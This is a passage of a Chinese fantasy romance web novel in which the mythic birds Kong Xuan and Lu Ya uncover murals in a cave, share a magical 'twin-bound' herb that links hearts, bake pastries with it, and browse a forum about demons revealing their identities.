“鸦鸦。”他又开始叫了。 像是变成了某种声音是“鸦鸦”的神鸟,孔宣唤了一声又一声,忍不住窃笑出声。 手中的花越积越多,随着陆压的应声,孔宣低头将脸埋进艳丽的山花中。 他低声呓语:“真像是一场梦啊。” 被山劈开的洞府裸露在外面,被雨水冲刷,经过泥石流和人为搬运清开后,就只剩下一大片裸露在外的壁画与拥有开凿痕迹的两瓣空间。 孔宣蹦着从陆压身上下来,他脚步直接,越过那些模糊的壁画直直往空间里面探寻。 陆压却在壁画外停留。 这些壁画像是唐时敦煌佛传的风格,工笔娴熟,在长久的岁月侵蚀下依旧留下了鲜亮的色彩。 陆压拿出手机,他点开一组图片对比起来,几乎可以判定玉先生当时拿出来的照片就是在这里拍下的。 只是孔宣当时并没有认出这模糊又熟悉的绘画。 或许他也不在乎这些壁画。 陆压却认真地看了起来。 壁画很模糊,甚至不成一个故事,只是单纯地描绘着青光佛衣的神人。 神人被众生朝拜,在满天莲花中掐着拈花指,被浩浩佛光笼罩。 祂或坐或卧,或笑或嗔。 祂从画中转过头,对着陆压拈花一笑,笑得极其恶劣可憎。 那一瞬间,陆压仿佛通过壁画看到了一尊披满珠宝的玉面佛王,佛王如洛神飞天,顺着漫漫青色冲天而起,披帛摇曳间祂尽情舒展身躯。 祂飞天高璇,绕着陆压恣意舞动,无数神异在陆压面前闪烁而过。 “陆压。” 陆压听到了孔宣的声音,他忍不住勾起唇角,想要扭头答应,却看见一片青光中,有人站起了身。 那人穿着灰色道袍,头戴象牙阴阳玉冠,端得君子端方,姿态高雅雍华。 他转过头,面目糊在满天青光中模糊不清,只能听见一声带笑的应答:“孔宣。” “陆压,我摘了好看的花,你喜欢吗?” “你挑得都好。” “陆压,画画有我好看吗?快看我掉了一片羽毛是不是变得不漂亮了?” “还是那么漂亮。” “陆压……” “陆压……” “陆压,我喜欢你,你喜欢我吗?” “……” “……” 第59章 第59章双生合欢糕4 “………… “……” “找到了。” 封在壁画中的月轮连篇串联, 十个月影衔接合并,化作一轮圆月高高飞向天空,闪烁反转成浓烈的太阳,恰此时光芒万丈。 “哒叭”太阳坠地, 化作一个盒子从壁画中掉出。 孔宣眉梢轻扬, 脸上的得意直白勾画唇角上扬, 他一把把盒子拿起,兴奋地欢呼出声。 “鸦, 我找到了,快看啊!” 他蹦蹦跳跳地跑向陆压, 冲着他的背影轻轻撞了一下,俏皮地歪过脑袋朝他眨了眨眼,眼中满是狡黠。 陆压一动不动,孔宣顿时疑惑,视线在周围乱飘, 凶巴巴地四处搜寻:“嗯?你在看什么?” 直到他看到了满墙模糊的壁画。 “啊,你在看这个啊。” 他只是随意地扫了一眼, 像是在看什么事不关己、不感兴趣的东西, 眼神飞速掠过了,无趣味地把目光落在陆压身上。 他目光专注, 眉眼带笑, 凌厉张扬的眉眼更是神飞气扬,翘起唇角一个劲地把手里的箱子拿给陆压看。 陆压眼睛转动一瞬, 目光清冷绮丽地转向他,追随着孔宣的身影。 这一瞬间,他的目光掺入极其深沉的晦暗,磁性的嗓音低沉极了。 “这些壁画, 都是你吗?”他抚摸过那些极尽工笔的墙绘,仿佛摸索到了千年前的缱绻爱意。 壁画并不连贯,每一副都极具工笔,以极致绮丽的工笔将一尊孔雀法身描绘,即便时间过去壁画褪色,这份爱意依旧历久弥新。 一眼望去五色壁画繁复华丽,联翩散去万千光华,唯有漫漫孔雀羽依旧环绕神人身侧,回护缱绻。 传说中孔雀作恶多端、肆意妄为,佛以身渡厄,于是他吞佛而死,佛从他的脊骨破体而出,他被佛祖渡化,披上佛衣彩石被尊众佛之母,号孔雀明王。 “孔雀明王……”陆压低声呢喃。 “鸦,你不要翻我旧账!”孔宣气鼓鼓的,唇角抿得发直,低声哼了一声,有点心虚又有点不高兴,尾音婉转低落。 当然,孔宣就不是什么好人,甚至在当年也算是一等一的祸害。 他看不上金鹏的下作,只因他强大妄为、张扬跋扈,想要什么自取就是,有人死了与他何干? 这对于孔宣来说是实打实的旧账,他吞佛而死,又因佛祖渡厄重生,被尊为佛母大金曜孔雀明王。 提这些往事,孔宣鼓了鼓腮帮子,连忙转到陆压面前,不许他看了。 “不许看!不许看!”他大声嚷嚷,又小声嘀咕起来:“痛死了,看着就幻痛,就知道画我黑历史,讨厌死了。” 被佛渡厄对孔宣来说可谓是阴影重重,背脊被整个撕开的痛苦令他辗转反侧,很长一段时间想起来就不自觉发颤。 他那时夜夜梦魇,几乎无法入睡,睁眼闭眼都是那满天刺眼的佛光与诡谲凌乱的佛经。 他幻痛、幻听、幻视,在夜里不自觉哀嚎鸣叫,只觉每根骨头缝都在发痛。 好痛…… 好痛…… 泥塑金裹,将他塑造成佛母、明王,那些华丽的珠宝与佛衣只会刺痛他的神经,压迫他的魂魄。 他痛苦不堪,神像上血泪斑斑。 然而人类叫好着孔雀大王的改邪归正,神鸟朋友们祝福他的信仰渐增,他的弟弟金鹏…… 金鹏…… 孔宣几乎想不起来金鹏那个时候在干什么,他只觉得自己一直痛苦,对于孤傲不逊的孔宣来说,泥塑金装只会打碎他的脊骨、模糊他的面容。 直到。 世界上唯一的三足金乌落在他身边。 日升月恒的轮回为他停滞,长久的月夜抚慰了他的痛苦,怜惜他所有的伤痕。 陆压与他同病相怜,亲眼目睹自己的九个兄弟被人类射杀的痛苦与愧疚曾长久地纠缠着他。 为什么活下来的是他,为什么只有他活了下来…… 无人知道他是什么时候变得冷漠寡言,他幼时失去了九个兄弟,还未长大父母就在大劫中相继死去。 他唯有守着清规戒律日日行善积德,以期死去兄弟们无忧无虑的来生。 即便是这点心愿也显得不合时宜。 他的兄弟们没有来生,十日同天的玩闹也化作无尽枷锁将他牢牢束缚。 抱团取暖也好,来当说客也好,什么都好。 唯有金乌与他舔舐伤口,唯有金乌慰他满身伤痛。 唯有金乌,教他怎么在佛教体系下摆烂混经费,干坏事怎么找佛教人兜底,怎么扯大旗当一个谁都不敢惹的大辈分老辈子,怎么供奉当明王吃供奉捞金身、壁画、信仰…… 咳咳。 想到这里,孔宣的眼神越来越飘忽心虚,忍不住干咳几声,抱紧怀里的小盒子,张牙舞爪地催促。 “不好看!一点都不好看!我们快走,快走快走!” 孔宣一下撞在陆压的肩膀上,拱着推着要把他往外面退。 他凶巴巴地皱起眉头,陆压仔细打量,看不到一点阴霾,唯有神采飞扬的活力。 黑历史? 陆压垂眸,猝然笑了起来,是他与他的来时路吧。 “大王。”他按住孔宣的肩膀,低垂下头,半山隐隐从他背后倾颓卸下,也将孔宣隐没在阴影下。 手指厮/磨着光洁的下颚,陆压稍稍用力,捻着孔宣的下巴被迫抬头,漂亮的凤眸怔怔地与他对视。 陆压面色晦暗,意味不明低笑一声,嗓音恍若呓语:“壁画很好看,大王。” 他很爱你。 你也很爱他。 那么你接触我,也是因为他吗?因为金乌? 陆压低垂的眼眸遮掩了所有情绪,像是畏惧猎物逃脱般,手掌掐住孔宣的腰侧。 他缓慢摩/挲,轻声开口:“大王,我很想问一件事。” 孔宣被陆压抵在墙壁,无边雀羽顺着他的后背在壁画上肆意绽放。 他手中的盒子掉落,脚尖被迫踮起,只能攥着男人的肩膀,惊惶茫然地扇动着睫毛。 浓密的睫羽像是振动的蝶翅,流露出几分焦躁不安与无所适从。 孔宣试图找回场子,他手掌张了张,本能深吸口气。 在他说话之前,陆压先开口了:“大王,你是不是有过一个伴侣?” 陆压偏过头,手掌覆住壁画上的神人,从腰侧摩挲到脸,无边情愫注定如壁画一般黯然褪色,斑驳离散。 “他很喜欢你。”你也很喜欢他。 孔宣:! 孔宣震惊地瞪圆了眼睛,下意识问:“你怎么知道?” 难道想起什么了? 孔宣一下子激动起来,眼睛亮晶晶地盯着陆压,试图从他不动声色的脸上看出一点破绽。 然而陆压实在是不动声色,似乎连嘴角都往下弯了几个像素点。 孔宣猝然困惑,歪过脑袋仔仔细细地打量他,忍不住咬住指甲,目光疑惑地时不时落在他的身上。 不是想起了什么? 孔宣顿时不爽,脑袋往后一靠,靠在石壁上还没来得及不高兴,猝然被人掐住了脸。 “鸦?” 他猛地扑进陆压的怀里,陆压似乎克制着什么,连手臂肌肉都绷得梆硬,圈在腰上,像是一道固执的枷锁,锁得人动弹不得。 无人看到的角落,陆压下颚紧绷,发尾扫过眉眼落下一片化不开的阴霾。 千万年的时光,发生什么都有可能。 陆压隐忍深思,似乎想用这样的话来安慰自己,然而他辗转隐忍,依旧不得不承认自己在意得不行。 “孔宣。”他摸索到孔宣的脸,低垂下头亲昵地蹭过他脸上的发丝,直白地抵着额头。 他嗓音发颤,深沉低哑的音色连同尾音一起模糊不清:“不喜欢他了,行不行?” 不要喜欢他了。 陆压躬着身,肩背绷紧出弧线,他圈着孔宣,像是行走在寒风中的人圈着自己的救命稻草。 像是一只忠诚而沉默的大型犬,早已习惯用这样隐忍小心的态度去试探征询主人的意见,加诸哀求之意。 他张口失声、剖心析肝,将一份真心鲜血淋漓地捧给眼前人。 与此同时,他前进一步,彻底将孔宣圈在石壁与手臂之间的缝隙。 孔宣忍不住偏了下头,不敌陆压灼灼的目光。 陆压的目光像是要把他捉住拆骨吃了,刺得人浑身不自在,他躲避般偏开头,眼神似有一把小勾子,似有若无地瞥向陆压:“不要喜欢?” 这可不行。 孔宣还在思考陆压是怎么看出来的,他自认为自己没有哪里露馅,更别说表露出对谁的喜欢与爱。 他死之后,他几乎从不讨论他。 只是这个问题,孔宣可以不假思索地,直白给出答案。 当着陆压的面,孔宣噗呲笑了起来,他脸上的笑容荣光明亮,即便在黑暗中依旧鲜明亮眼。 他挑起眼睛,眼尾下弯起弧度,挑眉时促狭地眨了眨眼,摇头晃脑地拒绝:“不行哦。” “因为,我喜欢他呀~” 孔宣嗓音轻柔,咬字清晰,尾音上挑时婉转动人,话语间无关丝毫情/欲,温暖与甜意就溢出来了,不见丝毫阴霾与难过,就这么朝着陆压弯起笑眼。 如同那人还活着般,轻松地勾起唇角,流露出润泽柔软的情态。 “……” 第60章 第60章双生合欢糕5 孔宣将…… 孔宣将胳膊搭在陆压的肩膀上, 他圈着陆压的脖子,头低着头靠在一起,一边发笑一边乱蹭。 他又重复:“我喜欢他。” 陆压的视线死死钉在孔宣的脸上,那样温软漂亮的笑容, 只是看着就让人感觉到幸福。 可惜, 这份幸福不是他的。 陆压踉跄后退两步, 踢到了脚边的盒子,他低下头, 那个漂亮的梧桐木盒子上刻着一对鸳鸯戏水,角落里是两片纠缠的小羽毛。 小羽毛鲜亮精致, 回护般彼此纠缠在一起。 孔宣不喜欢人类,他喜欢的是和自己一样漂亮的神鸟。 陆压将盒子捡起,指腹摸过两片羽毛,打开后里面的双生合欢叶像两瓣爱心,彼此纠缠在一起, 洋洋洒洒堆了满盒。 经过时间的洗礼,依旧鲜嫩漂亮。 而孔宣早就和人心意相通、长生合欢。 陆压猝然收紧手指。 孔宣站在原地, 眼睫眨动间狡黠地看着陆压, 看着陆压痛苦、纠结、发怔。 他脸上的玩味与戏谑如有实质,似乎在品味陆压此刻的表情, 像神话里描述的那样, 有着与生俱来的恶劣,嚣张跋扈、顽劣坏心。 下一秒, 陆压抬头,将几片合欢草塞进嘴里,他快步向前,猛地拽着孔宣的领子拉向自己。 “唔!” 孔宣瞳孔震颤, 不可置信地瞪圆了眼睛,唇上一烫,几片清甜的合欢叶从陆压的嘴里渡了过来。 他下意识想要反抗,却被陆压捉住破绽,抵在石墙上压住腰腹,就连双腿都被膝盖挤开,只能被迫承受男人的一举一动。 清甜的合欢叶撬开牙关渡进嘴里,孔宣喉咙滚动,早已忘乎所以顾不上这些。 他呼吸急促,瞳孔来回转动,随着激烈的动作而逐渐涣散迷离,任由不属于自己的气息肆意地在口腔扫荡勾缠。 孔宣的思绪彻底迷离,他混乱茫然地被迫承受,无力决定开始和结束。 被放开时,他茫茫然地蹭了蹭潮湿的嘴角,衣领被揉皱扯开,随着呼吸露出大片的肌肤。 他醺醺然迷醉,意乱神荡,清晰地听见剧烈震颤的心跳声在耳膜跳动。 噗通—— 噗通—— “我心跳得好快……”孔宣话才出口,被男人抓着手按到了对方胸口上。 他顿时一惊,“噗通噗通”的心跳声猝然明晰起来。 “不是你的心在跳,是我。”陆压说。 他心跳剧烈,似乎要跳出胸膛,从身体里脱出,彻彻底底地剖析在孔宣面前。 陆压难地笑了起来,极轻极轻地说:“心意相通,原来如此。” 双生合欢草,不只是让人心念相通,它能让彼此清晰感受到所有。 谎言、爱意、痛苦、犹豫……所有的一切皆化作明晰的心跳。 在于那颗小小的肉团在胸腔震动地回响。 陆压逼近,他的脸色模糊在洞穴的晦暗中,唯独身上的气息鲜明得令人无法忽视。 地下的潮气翻涌熏热了孔宣的意识,不知何时,陆压已经逼迫到了他的面前。 孔宣莫名觉得焦灼,他鼻尖泛起汗意,下意识往后退,靠在石壁上退无可退时才感觉到焦头烂额。 “等等,我可以解释,我……” 孔宣焦急解释,陆压头一低,亲了亲他的鼻尖。 “不用。” 不用?不用什么?不用解释还是不会相信? 孔宣头脑风暴,他恍惚看着陆压后退,脸上露出了空白到迷茫的表情。 可恶,这就是陆鸦鸦扰乱鸟心的计谋吗?! 他成功了! 孔宣直到被陆压牵着走出山洞的时候,依旧不明白陆压说的不用到底是什么意思。 他抓耳挠腮,抓心挠肝,焦灼万分。 男人的手很稳很紧,拉着孔宣往外走,没有丝毫回头。 孔宣歪过脑袋,只看见男人深刻的脸部线条,他表情淡然,依旧不动声色,看不出任何情绪。 然而他抓着自己往墙上摁的时候,浑身肌肉都绷紧了弦,像是一只即将出手的巨兽,凶猛、强势,苏得人双腿发麻。 在被强制的动作中,孔宣最先感觉到的不是冒犯与恐惧,而是兴奋,头皮发麻的兴奋。 让恪守清规戒律苦修的神人为自己破戒,清冷的眉眼沾染上红尘情意,流露出那样隐忍凶厉的情动表情。 孔宣的心像是滋生出无尽海浪,他激动于男人这时展露出的侵略性,他被男人摄取剥夺强制,他的反抗羞恼只是一点催化剂。 他愉悦又动容,品味着男人对自己的绝对索取,感受着男人带来的压迫与威胁。 孔宣脸上潮红一片,无意识地捂了捂脸,只感觉自己的意识早已混乱迷离,满脑子都只剩下陆压那双凶猛如野兽的眼睛。 加诸爱意纠葛与痛苦的眼睛。 他爱他,毋庸置疑。 所以陆压到底是什么意思! 一直到上车回家,孔宣都没有琢磨透陆压的意思,陆压就跟没事人一样,态度正常地带着孔宣上车。 出租车到了店门口,陆压率先下车,回头请孔宣下来。 孔宣狐疑犹豫,眼睛一直跟着他转来转去,恨不得掐着陆压的脖子狠狠摇晃,让他倒豆子似地把所有想法都说出来。 “怎么回事啊鸦!” 大胆!居然敢钓孔雀大王! 孔宣一把扑到陆压背上,他圈着男人的脖子,用力地来回摇晃,气得直蹬腿,在空中打旋飞蹬。 好好一只孔雀急得学兔子蹬鹰。 陆压被勒着脖子被迫后仰,他手上还拿着漂亮的梧桐木盒子,第一时间把盒子放到桌子上,才一只手扒拉圈在自己脖子上的手,另一只手不忘托起大王的屁股。 有了支撑,孔宣借力往上一窜,双腿圈在陆压的腰上,半个胸膛压在他的头顶,像是一座大山沉沉压下,捂着陆压的眼睛咿咿呀呀地控诉。 孔宣哼了一声,低着头把下巴垫在男人头顶,手臂胡乱抱着他的脑袋,凶巴巴恐吓指责:“大胆!还不快从实招来!” 陆压被蒙着眼,当作自己什么都看不见,故意在原地转了几圈,装傻充愣问:”大王在说什么?” 可恶,居然装傻! “当然是你亲我!”孔宣怒上心头,口不择言。 话说出口,他顿时觉得不妙,感觉到手臂被人拉开,陆压转过头,那双黑沉的眼睛背着光,透不出一点光色,露出压抑如深渊之下无边无际的阴沉颜色。 他隐忍深沉,如黑水下的水鬼,不知道什么时候就会把人拉入深渊。 可陆压拉着孔宣的手,又一次摸上了心口。 ——他直白明细的心脏。 “大王还想我再说什么?”他低声询问。 性感磁性的声音带着令人着迷的蛊惑意味,慢声细语间迫近直击,意味不明的追问挑衅。 陆压掏心逼近,孔宣顿时兵荒马乱。 他嘴巴微张,所有的得意与挑衅都卡在喉咙里,哼哼唧唧地憋红了脸,慌慌张张地要下来。 这一次不是他想下就可以下,陆压钳制住他的双腿,大手就这么卡在大腿上。 任凭孔宣吱哇乱叫,胡乱踢踹,努力地想要把自己拔出来也纹丝不动。 陆压点到为止,在孔宣力度变弱的时候松了手,孔宣顿时火烧屁股般跳了下来。 这可完全不像孔雀大王的性格,孔宣反应过来后恼怒地瞪着陆压,耳朵尖都红了。 他嘴巴嘀咕,又有点怂陆压的追迫,怂怂地骂人:“坏鸦!超级大坏鸦!” “大王。”陆压无奈,沉着脸提醒:“骂人没有用的。” 他几步上前,浑身的气场像是裹挟着极度的冰寒与硝烟,伸手利索地要去圈孔宣的腰。 孔宣下意识跑路,把身子一扭三两下跑上楼梯,转过头叉着腰气势汹汹地大骂:“坏鸦!” 他骂完就跑,逃得慌不择路,蹭蹭蹭上了楼,脚步踩得特别重,宣告自己的脾气。 陆压追着后面提醒:“大王记得通知九凤来拿东西。” 孔宣:“你好啰嗦!” 孔宣三两步蹦上楼,走出楼梯口顿时反应不对,他拍拍胸脯,努力攥紧拳头在空中挥了挥,试图给自己张扬起气场。 “我为什么要怕这只坏鸦!应该是这只坏鸦怕我才对!” “亲就亲,哼,亲嘴我还没怕过谁!小处鸟。” 孔宣嘀嘀咕咕,色厉内荏地为自己壮胆。 他决定晚上给这只坏鸦一点颜色看看。 至于为什么不是现在? 孔雀大王摸摸胡乱跳动的心脏,哼哼唧唧地表示自己先饶过这只坏鸦。 晚上必叫他丢盔卸甲、跪地求饶! 孔宣顿时又支棱起来,精神抖擞地联系九凤,让他速速前来,免得坏了孔雀大王的好事。 [九凤]:[OK] [九凤]:我马上就来。 [孔雀]:你打算带着老婆上哪逃难? [九凤]:我逃难还能告诉你? …… 哈! 孔宣愤怒敲屏幕,怒怼九凤,噼里啪啦战力不减当年。 一顿输出之后,孔宣爽了,精神抖擞地走下楼,又是满脸矜傲,志得意满的颐指气使下战书:“鸦,你等着!” 孔雀大王会让你明白谁才是一家之主! 陆压头也不抬:“糕点吃甜的还是咸的?” 60-68 第61章 第61章双生合欢糕6 “甜的…… “甜的甜的!” 孔雀大王立刻连声答复, 欢快地扑到陆压身上,脑袋胡乱蹭来蹭去嗯嗯撒娇。 必须吃甜的! 再开一瓶绿茶小饮料,生活就是美滋滋。 陆压默默从今天买的水果中翻出了半个凤梨。 他把凤梨去皮去籽,切成小小的碎丁, 用锅熬煮, 中途加入一点小苏打去酸, 加入白砂糖和黑糖,大火烧开, 等里面的水分烧干,加入麦芽糖搅拌熬干, 糕点馅就做好了。 面皮用黄油加糖粉搅拌打发,加入蛋黄和蜂蜜,打发的过程中筛入面粉、奶粉、杏仁粉,加入泡打粉让面皮蓬松。 面皮揉好后,陆压用双生合欢草熬煮成汁, 加入面团揉开,面团被染成均匀的青绿色, 裹上保鲜膜醒面。 用醒好的面裹上凤梨馅, 包裹滚圆,用刀切出花口, 像是一块微微盛开的花。 用烤箱烤上, 焦甜奶香的甜味混杂着一点双生合欢草的清香,从烤箱里拿出来的瞬间, 孔宣探过脑袋,鼻尖忍不住动了动,吸了一口奶香奶香的甜味。 不用咬,只是看着层层外翻的花口表皮, 就能让人感觉到它的酥脆可口,一口下去滋滋掉渣。 孔宣蹲在旁边,不等糕点先移到烤盘,先捻了一块,张口咬了下去,酥脆的脆皮在嘴角撒落,他眼眸一弯,脸上惊叹欢喜的表情更加生动活泼。 “好吃!” 孔宣不怕烫似的,抿走唇角的碎渣,舌尖轻轻扫过唇角,显然是对此满意至极。 糕点的酥脆外表带着一点奶香,中心的甜凤梨被熬去了酸味,只剩下淡淡的焦糖奶香,入口时甜蜜的滋味瞬间如蜜一般流进嘴里。 他止不住地想吃,眉眼张扬地挑起一边,来来回回对着手里的糕点看了几圈:“鸦,你还有这手艺!” 这小玩意,谁研究的呢?真好吃! 又酥又脆,好吃! 孔宣忍不住往嘴里送,热腾腾的糕点刚出锅,他就吃了两块半,还有半块捻在手里,连嘴角的碎渣都来不及擦,鼓着腮帮子一口一口抿了起来。 他吃到喜欢的,就忍不住贪心地想要多吃几口,腮帮子鼓鼓囊囊地晃动软乎的痕迹,一双漂亮凤眸也睁得滚圆,圆滚滚地盯着眼前的吃食看,一点都不在乎旁边是什么情况。 就算是有人在旁边死了,也不会在意的性格。 虔诚又幸福。 孔雀大王吃得正欢,突然旁边探过一个身影钳制住了他往嘴里送的手。 孔宣顿时不满,瞪圆了眼睛不高兴地瞪向陆压。 “你要怎样”还没说出口,陆压探过头,低头咬掉他手里半个糕点。 孔宣:!!! 他惊茫地张着嘴,呆怔怔地与陆压对视,陆压神色自若,舔了舔唇角,低沉发声:“很甜。” 陆压的眼睛定定地看着孔宣,眸中似有千言万语化作潺潺流水,柔和又缱绻地将他笼罩。 那一瞬间,已经分不清陆压说的到底是糕点还是人。 孔宣脸上空白一片,后知后觉地烫红了脸,羞恼的情绪刚刚掀起风浪,突然陆压倾身。 他下意识一躲,陆压只是手指摩/挲,将他唇角沾上的碎屑蹭去,孔宣躲避的大动作反而显得欲盖弥彰。 陆压轻松直起身退开:“我去开门。” 啊啊啊! 孔宣靠在柜台上,难以忍受地拂过胸口,愤愤不平地摸了摸脸,只摸到一片滚烫,他眼下水波潋滟,流漾着动荡不安的情态。 好一只、一只……令人欢喜的坏鸦。 孔宣忍不住捂了捂脸,不可否认这只坏鸦真的吃准他了! 孔雀大王又扭捏又不忿,觉得自己完全被坏鸦占了上风,他绝对要找回场子。 他愤愤不平,走出厨房才看到被放进来的九凤和张晚照。 九凤换掉了病号服,穿着帅气的工装,正插着手歪头和张晚照说什么,眼角余光捕捉到孔宣的身影,立刻探头。 “孔雀,你……”他话语一顿,目光可疑地上下打量。 孔宣忍不住怼他:“看什么看?想打架啊!” 他凶巴巴的,张牙舞爪就要和人约架。 九凤才不和他打,他整整衣服,哼声:“我有家有室的,不和你这种孤寡鸟一般计较。” 孔宣表情复杂,以一种看傻子的目光看着他。 果然,木头就算有老婆也是一根木头。 他能孤寡?天大笑话! “呵。”孔宣双手环抱在胸前,居高临下地俯视九凤,不无可怜地对张晚照面露怜悯:“真不知道你看上这玩意哪了。” 张晚照摸摸自家傻狗的脑袋,笑得含蓄:“喜欢他在我低谷的时候对我不离不弃吧。” 九凤:??? 总感觉被内涵了。 “好了,东西呢。”九凤本能地拦在两人中间,拒绝让他们再讨论下去。 他视线在孔宣和陆压身上转了一圈,试图找出双生合欢草的痕迹。 下一秒,陆压从柜台上拿过一个盒子。 盒子也就两个巴掌大,双生合欢草浅浅铺了个底,两瓣花叶交错缠绵在一起,像是两颗纠缠的心脏。 “这么多够吗?”陆压问。 九凤有点无语:“够了,这又不是大白菜,还能用量取胜的?” 他从里面挑挑拣拣出一对,把纠缠的两瓣叶子掰开,和张晚照一人一片。 小小的一片合欢草也就指甲盖大,九凤目光专注,以一种求婚的语气略带紧张地说:“吃完我们就私奔。” 他紧张兮兮,有点想搓手,又怕把叶子弄掉了,一时间手足无措,像是条傻狗。 张晚照很想问到底为什么要逃命,最终也只是问他:“我们去哪?” “天涯海角,无所谓,去哪都行,我们两个一起,去哪里都有伴……” 九凤没有玩什么浪漫,他这样的行为在鸟类中十分可耻,没有准备漂亮的婚房也没有跳求偶舞,只有两片草叶,正常是讨不到老婆的。 但是张晚照曾经饱受折磨,抑郁欲死,是九凤对他不离不弃,是九凤想办法将他心头的阴霾拂去。 张晚照伸出手,接过那片草叶没有任何犹豫地一口吞下。 他脸上还残留着痛苦与决绝,他愿意为了爱承受未知的痛苦,但是吃下之后,他惊讶睁大眼睛,无意识地捂住胸口。 噗通—— 噗通—— 强有力的心跳在他胸膛蹦跳,他的身体像是突然多了另一个人的存在,他们生死相连、心意相通,像是两个生长在同一条藤上的果实,能清晰地感受到另一个人的存在。 他摇摇晃晃地后退,不可控地跌倒在椅子上,怔怔发懵。 孔宣捻起一块漂亮的糕点送入口中,玩味地挑起唇角,嗓音甜得发腻:“恭喜你们,双生合欢,心意相通。” 双生合欢,心意相通。 原来是这样。 张晚照愣神的时候,九凤拉着他的手,这一瞬间,他们的心跳似乎连接成线,同频震颤。 九凤拉着张晚照的手摸到胸口,他嘴巴动了动,没有明说的爱语似乎从高空中飘落,一下子流淌进了张晚照的心间。 张晚照红了眼,颤抖着发笑:“嗯,我知道。” 我知道你喜欢我,你的心是不会骗人的。 九凤和张晚照手拉着手走了,踏出门时,九凤回头,他的眉眼笼罩着黄昏时分的晦暗,光与暗交错在他的眉眼。 他低沉地说:“孔雀,明哲保身。” 明哲保身。 玉先生也是这么对着陆压说的。 孔宣可有可无地点头,肆意地挑了下眉:“你对我是有什么奇怪滤镜吗?” 会管闲事的,明明只有陆鸦鸦一个而已,他才不会呢。 孔宣兴味盎然地捻起一块翠绿的糕点,糕点上的十子花口泛起些许焦黄色彩,他一口送入口中,舌尖轻巧地从指腹掠过。 他的眼神落在陆压的身上,意味深长地跟随他转动摇曳,眸中摇曳着烟火玩味狡黠。 “鸦,明哲保身。”他又将这个词送给了陆压。 陆压撩起眼睛望向他,猝然弯起唇角,不常笑的人突然笑了起来,瞬间冰雪消融撩人至极。 “大王才是。” 陆压倾身,手指顺着孔宣的下唇碾出一片绯红,湿盈盈的唇印在指腹。 这像是一个并不明晰的吻,轻飘飘地隔着呼吸与皮肤,落在陆压的指腹,在突破间隔之前又快速地撤回。 孔宣抿了抿唇,只觉得那一点痕迹迟迟停留在皮肤上。 男人深沉的如光似藏着野兽,蛰得他心烦意乱。 孔宣恨恨地咬住甜点心,觉得陆鸦鸦真的是学坏了,居然钓他! 钓就钓,看谁先忍不住! 孔宣心神荡漾地拨了拨发丝,得意地扬起下巴,挑衅的目光飞速扫过陆压身上。 必须让这只坏鸦跪地求饶! 孔宣又一口咬在甜点心上,眼尾翘起愉悦的弧度,微妙莫测的气息与甜点心的酥甜味混杂,衬得他气度越加高贵神秘。 又甜蜜、可爱。 这一口双生合欢糕吃得孔雀大王满意极了,连晚上的晚餐都少吃一口,甜滋滋地抱着甜点心往嘴里填。 他在沙发一头吃甜点心,陆压抱着电脑在另一侧看电脑。 陆压翻着论坛,突然肩膀一重,孔雀大王探头探脑地露出一双眼睛,好奇地看着屏幕。 “理性讨论,公开妖族存在这么久,你们敢公开自己的身份吗?” 孔宣一字一句,咬字清晰,眼睛里印着电脑明闪烁的光彩,随着光标滑落,一连串的字符映入眼帘。 :公开身份?公开身份有什么好处?亖人老板就不让我996了? :为什么要公开?我敢保证,没有几个愿意公开的。 :你们不觉得很搞笑吗?人类想公开就公开,谁搭理他们。 :也是有好处的,孩子能加分什么的。 …… :谁有孩子敢公开?忘记人类这么多年怎么猎杀我们幼崽的? :兄弟们!不要公开不要公开!怎么还有妖鼓动别人公开。 :你们是还生活在山顶洞人时期吗?快看新闻! …… 陆压手指一点,顺手给这个帖子里的匿名投票“你会公开身份吗”投了个不公开。 他跳转页面,一目十行,很快就在一个角落里翻到了一个帖子。 #震惊!妖与怪的界限到底在哪,政府对我们还隐瞒了什么!# 点开视频,视频的镜头十分摇晃,在一片混乱与哀嚎声中,镜头对准了一个满脸横肉的“人类”,不知道谁喊了一句“妖怪”,那个人摇身变成了一只妖怪,嘶吼着冲向人群。 慌乱中手机摔在地上,鲜血溅到屏幕,整个画面落在宁静的天空之上,与之相悖的是没有停歇的尖叫声此起彼伏。 视频在此结束,陆压随手一刷,视频没了。 孔宣疑惑地戳戳屏幕:“怎么没了?” “被下架了。” 陆压用后台大数据搜寻一通,果不其然又搜到几个视频,在被下架之前他快速下载下来,放进一个文件夹里。 这并不是第一例,他的文件夹里搜集了一箩筐的视频。 颠倒黑白、引导舆论。 不得不说,背后的人手法娴熟,而这个国家又太大了,就算只是个例,在煽风点火下也会逐渐失去控制。 一味地降温是不会有效的,现在人畏惧妖,妖畏惧人,矛盾迟早会爆发的。 “有人在背后操控舆论,想让人和妖打起来。” “啧。”孔宣忍不住轻啧,他的身上还残留着酥点心的奶香味,靠在陆压身上是身子软绵绵的,像是一块香甜可口的棉花糖。 可他居高临下,眼神睥睨,嗓音更是玩味又轻蔑:“这种小把戏。” “再上不了台面的小把戏有用就行。”陆压轻描淡写地说道。 他手指一顿,随手在视频底下打上今天的标记。 虽然足不出户,陆压早已将外界的一切收入眼底,他眸光冷然,心知一切才刚刚开始。 外界的风雨还没有落在他们面前。 孔宣哼了一声,双臂一松完完全全地搭在陆压的肩膀上,柔软劲瘦的胸膛压在男人头顶,他晃着胳膊,俏皮地歪过脑袋,朝陆压灵动眨眼。 “为什么要在乎这些呢?不如来想一点开心的事。” 他嗓音轻快,身上带着的香气被体温熏暖,若隐若现地萦绕在陆压的鼻尖。 陆压呼吸一窒,眼睛低垂落在孔宣圈着自己的手臂上。 注意到他的视线,孔宣双手收紧,故意圈住陆压的脖子,把脑袋一歪,枕在了胳膊上。 这个姿势他们离得很近,脸贴着脸,鼻尖蹭着侧脸,轻轻厮磨暧/昧吐息。 孔宣搭在陆压的耳边呵气如兰,戏谑地拖长尾音逗弄:“鸦鸦,是自己的要紧事还不够要紧吗?你还有精神管这些。” “真是,不解风情啊。” 他意味深长地戳了戳陆压眉心,猝然笑了起来,笑得像是只调皮的小狐狸,一下子歪过身体,长长的黑发如瀑布一般倾泻流下。 陆压下意识伸手去扶,只捞到一片隐晦的发丝。 孔宣歪过脑袋,眼尾斜睨朝他飞去一眼。 他光着脚踩在地上,脚步轻快地从沙发这边转到另一边,故意点了点陆压的肩膀。 陆压转了几次头,都只捕捉到他的背影,看着他背着手乐颠颠地跑开,背影得意又欢快。 那一眼像是有一把小勾子,把人的魂都勾走了。 陆压坐在原地,手指攥紧,喉间滚动几下才低声说:“要紧事?” 可身边是心上人,眼前是未来事,没有比现在还要紧的了。 孔宣赢过一筹并不贪功,撩完就跑,哼着歌得意地笑出声。 